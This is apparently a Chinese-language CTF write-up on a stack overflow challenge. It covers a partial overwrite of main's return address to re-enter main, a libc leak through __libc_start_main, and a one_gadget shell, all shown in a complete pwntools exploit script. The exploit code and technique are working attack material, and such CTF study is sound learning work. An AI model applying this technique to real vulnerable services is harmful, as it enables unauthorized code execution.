一道有(我)意(好)思(菜)的stack题目

0x00 前言

这是大佬发我的题目,看名字挺easy,但是做起来却是…

由于Rules的规定,这里不写明题目的名字以及题目的来源,这篇博文主要为了自己日后复习。

0x01 分析

本以为是easy的一道rop,但是当我checksec以后…

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

开着PIE、FULL RELRO、NX….555555,不过幸亏没开canary…

题目变得棘手起来

这里返回地址似乎可以利用一下,不过利用之前要先修改一下。

通过disassemble 0x7ffff7a05b97命令可以查看这个地址附近的反汇编

当我们执行完main的leave和ret以后

可以注意到,程序执行到0x00007ffff7a05b97,但是注意此处的前两条汇编,这是在call rax,而rax存着rsp+0x18的内容,来看一下rsp+0x18里面存的什么

1
2
pwndbg> x/gx $rsp+0x18
0x7fffffffdd68: 0x00005555555549c4

里面存的是main函数的起始地址… 太巧了!

如果把原本main的返回地址0x00007ffff7a05b97修改为0x00007ffff7a05b90,那就可以让程序再次执行main函数,并且还能通过main函数里面的puts连带泄露出__libc_start_main的地址,然后one_gadget再次构造payload即可。

0x02 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(log_level = 'debug',arch = 'amd64',os = 'linux')
#c = process('./stack')

c = remote('**************',*****)
elf = ELF('./stack')
libc = ELF('./libc-2.27.so')


payload = 'a'*0x80 + 'b'*8 + '\x90'
c.sendline(payload)#Look here,using sendline

c.recvuntil('aabbbbbbbb')
addr = u64(c.recv(6).ljust(8,'\x00'))
libc_start_main = addr + 7 - 231
libcbase = libc_start_main - libc.symbols['__libc_start_main']
success(hex(libcbase))
payload = 'a'*0x80 + 'b'*8 + p64(libcbase + 0x4f2c5)#one_gadget
c.sendline(payload)

c.interactive()

exp中注释的位置用的sendline,这也是因为main的read_n函数是如下代码

这也使得\n或者\x00不会覆盖掉其他地方。

由于Rules的规定,remote里的host和port这里不写出来。

确实挺有意思的一道题目,奇怪的知识增加了。